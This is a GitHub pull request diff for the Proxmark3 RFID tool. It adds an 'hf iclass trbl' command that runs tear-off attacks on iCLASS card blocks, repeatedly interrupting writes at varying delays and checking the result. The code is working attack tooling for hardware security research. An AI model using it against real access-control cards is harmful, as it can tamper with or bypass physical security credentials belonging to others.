Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added hf iclass trbl #2688

Merged
merged 3 commits into from
Dec 26, 2024
Merged
Show file tree
Hide file tree
Changes from 1 commit
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file.
This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log...

## [unreleased][unreleased]
- Added `hf iclass trbl` to perform tear-off attacks on iClass (@antiklesys)
- Changed `uniq.yaml` workflow to be case-insensitive (@iceman1001)
- Fixed `mem load --mfc` not erasing all SPI flash blocks after extending to 4095 keys (@piotrva)
- Extended area for Mifare keys in SPI flash to hold 4095 keys (@piotrva)
Expand Down
195 changes: 195 additions & 0 deletions client/src/cmdhficlass.c
Original file line number Diff line number Diff line change
Expand Up @@ -41,6 +41,7 @@
#include "preferences.h"
#include "generator.h"
#include "cmdhf14b.h"
#include "cmdhw.h"


#define NUM_CSNS 9
Expand Down Expand Up @@ -2927,6 +2928,199 @@ static int CmdHFiClass_ReadBlock(const char *Cmd) {
return PM3_SUCCESS;
}

static int CmdHFiClass_TearBlock(const char *Cmd) {
CLIParserContext *ctx;
CLIParserInit(&ctx, "hf iclass trbl",
"Tear off an iCLASS tag block",
"hf iclass trbl --blk 10 -d AAAAAAAAAAAAAAAA -k 001122334455667B --tdb 100 --tde 150\n"
"hf iclass trbl --blk 10 -d AAAAAAAAAAAAAAAA --ki 0 --tdb 100 --tde 150");

void *argtable[] = {
arg_param_begin,
arg_str0("k", "key", "<hex>", "Access key as 8 hex bytes"),
arg_int0(NULL, "ki", "<dec>", "Key index to select key from memory 'hf iclass managekeys'"),
arg_int1(NULL, "blk", "<dec>", "block number"),
arg_str1("d", "data", "<hex>", "data to write as 8 hex bytes"),
arg_str0("m", "mac", "<hex>", "replay mac data (4 hex bytes)"),
arg_lit0(NULL, "credit", "key is assumed to be the credit key"),
arg_lit0(NULL, "elite", "elite computations applied to key"),
arg_lit0(NULL, "raw", "no computations applied to key"),
arg_lit0(NULL, "nr", "replay of NR/MAC"),
arg_lit0("v", "verbose", "verbose output"),
arg_lit0(NULL, "shallow", "use shallow (ASK) reader modulation instead of OOK"),
arg_int1(NULL, "tdb", "<dec>", "tearoff delay start in ms"),
arg_int1(NULL, "tde", "<dec>", "tearoff delay end in ms"),
arg_param_end
};
CLIExecWithReturn(ctx, Cmd, argtable, false);

int key_len = 0;
uint8_t key[8] = {0};

CLIGetHexWithReturn(ctx, 1, key, &key_len);

int key_nr = arg_get_int_def(ctx, 2, -1);

if (key_len > 0 && key_nr >= 0) {
PrintAndLogEx(ERR, "Please specify key or index, not both");
CLIParserFree(ctx);
return PM3_EINVARG;
}

bool auth = false;

if (key_len > 0) {
auth = true;
if (key_len != 8) {
PrintAndLogEx(ERR, "Key is incorrect length");
CLIParserFree(ctx);
return PM3_EINVARG;
}
} else if (key_nr >= 0) {
if (key_nr < ICLASS_KEYS_MAX) {
auth = true;
memcpy(key, iClass_Key_Table[key_nr], 8);
PrintAndLogEx(SUCCESS, "Using key[%d] " _GREEN_("%s"), key_nr, sprint_hex(iClass_Key_Table[key_nr], 8));
} else {
PrintAndLogEx(ERR, "Key number is invalid");
CLIParserFree(ctx);
return PM3_EINVARG;
}
}

int blockno = arg_get_int_def(ctx, 3, 0);

int data_len = 0;
uint8_t data[8] = {0};
CLIGetHexWithReturn(ctx, 4, data, &data_len);

if (data_len != 8) {
PrintAndLogEx(ERR, "Data must be 8 hex bytes (16 hex symbols)");
CLIParserFree(ctx);
return PM3_EINVARG;
}

int mac_len = 0;
uint8_t mac[4] = {0};
CLIGetHexWithReturn(ctx, 5, mac, &mac_len);

if (mac_len) {
if (mac_len != 4) {
PrintAndLogEx(ERR, "MAC must be 4 hex bytes (8 hex symbols)");
CLIParserFree(ctx);
return PM3_EINVARG;
}
}


bool use_credit_key = arg_get_lit(ctx, 6);
bool elite = arg_get_lit(ctx, 7);
bool rawkey = arg_get_lit(ctx, 8);
bool use_replay = arg_get_lit(ctx, 9);
bool verbose = arg_get_lit(ctx, 10);
bool shallow_mod = arg_get_lit(ctx, 11);
int tearoff_start = arg_get_int_def(ctx, 12, 100);
int tearoff_end = arg_get_int_def(ctx, 13, 200);

if(tearoff_end <= tearoff_start){
PrintAndLogEx(ERR, "Tearoff end delay must be bigger than the start delay.");
return PM3_EINVARG;
}

if(tearoff_start < 0 || tearoff_end <= 0){
PrintAndLogEx(ERR, "Tearoff start/end delays should be bigger than 0.");
return PM3_EINVARG;
}

CLIParserFree(ctx);
Antiklesys marked this conversation as resolved.
Show resolved Hide resolved

if ((use_replay + rawkey + elite) > 1) {
PrintAndLogEx(ERR, "Can not use a combo of 'elite', 'raw', 'nr'");
return PM3_EINVARG;
}
int isok = 0;
tearoff_params_t params;
bool read_ok = false;
while(tearoff_start < tearoff_end && !read_ok){
//perform read here, repeat if failed or 00s

uint8_t data_read_orig[8] = {0};
bool first_read = false;
bool reread = false;
while(!first_read){
int res_orig = iclass_read_block_ex(key, blockno, 0x88, elite, rawkey, use_replay, verbose, auth, shallow_mod, data_read_orig, false);
if (res_orig == PM3_SUCCESS && !reread){
if (memcmp(data_read_orig, zeros, 8) == 0){
reread = true;
}else{
first_read = true;
reread = false;
}
} else if (res_orig == PM3_SUCCESS && reread){
first_read = true;
reread = false;
}
}

params.on = true;
params.delay_us = tearoff_start;
handle_tearoff(&params, false);
PrintAndLogEx(INFO, "Tear off delay: "_YELLOW_("%d")" ms", tearoff_start);
isok = iclass_write_block(blockno, data, mac, key, use_credit_key, elite, rawkey, use_replay, verbose, auth, shallow_mod);
switch (isok) {
case PM3_SUCCESS:
PrintAndLogEx(SUCCESS, "Wrote block " _YELLOW_("%d") " / " _YELLOW_("0x%02X") " ( " _GREEN_("ok") " )", blockno, blockno);
break;
case PM3_ETEAROFF:
break;
default:
PrintAndLogEx(FAILED, "Writing failed");
break;
}
//read the data back
uint8_t data_read[8] = {0};
first_read = false;
reread = false;
bool decrease = false;
while(!first_read){
int res = iclass_read_block_ex(key, blockno, 0x88, elite, rawkey, use_replay, verbose, auth, shallow_mod, data_read, false);
if (res == PM3_SUCCESS && !reread){
if (memcmp(data_read, zeros, 8) == 0){
reread = true;
}else{
first_read = true;
reread = false;
}
} else if (res == PM3_SUCCESS && reread){
first_read = true;
reread = false;
} else if (res != PM3_SUCCESS){
decrease = true;
}
}
if (decrease && tearoff_start > 0){ //if there was an error reading repeat the tearoff with the same delay
tearoff_start--;
}
bool tear_success = true;
for (int i=0; i<PICOPASS_BLOCK_SIZE; i++){
if(data[i] != data_read[i]){
tear_success = false;
}
}
if(tear_success){ //tearoff succeeded
read_ok = true;
PrintAndLogEx(SUCCESS, _GREEN_("Tear-off Success!"));
PrintAndLogEx(INFO, "Read: %s", sprint_hex(data_read, sizeof(data_read)));
}else{ //tearoff did not succeed
PrintAndLogEx(FAILED, _RED_("Tear-off Failed!"));
tearoff_start++;
}
PrintAndLogEx(INFO, "---------------");
}
PrintAndLogEx(NORMAL, "");
return isok;
}

static int CmdHFiClass_loclass(const char *Cmd) {
CLIParserContext *ctx;
CLIParserInit(&ctx, "hf iclass loclass",
Expand Down Expand Up @@ -5332,6 +5526,7 @@ static command_t CommandTable[] = {
{"view", CmdHFiClassView, AlwaysAvailable, "Display content from tag dump file"},
{"wrbl", CmdHFiClass_WriteBlock, IfPm3Iclass, "Write Picopass / iCLASS block"},
{"creditepurse", CmdHFiClassCreditEpurse, IfPm3Iclass, "Credit epurse value"},
{"trbl", CmdHFiClass_TearBlock, IfPm3Iclass, "Performs tearoff attack on iClass block"},
{"-----------", CmdHelp, AlwaysAvailable, "--------------------- " _CYAN_("Recovery") " --------------------"},
// {"autopwn", CmdHFiClassAutopwn, IfPm3Iclass, "Automatic key recovery tool for iCLASS"},
{"chk", CmdHFiClassCheckKeys, IfPm3Iclass, "Check keys"},
Expand Down
Loading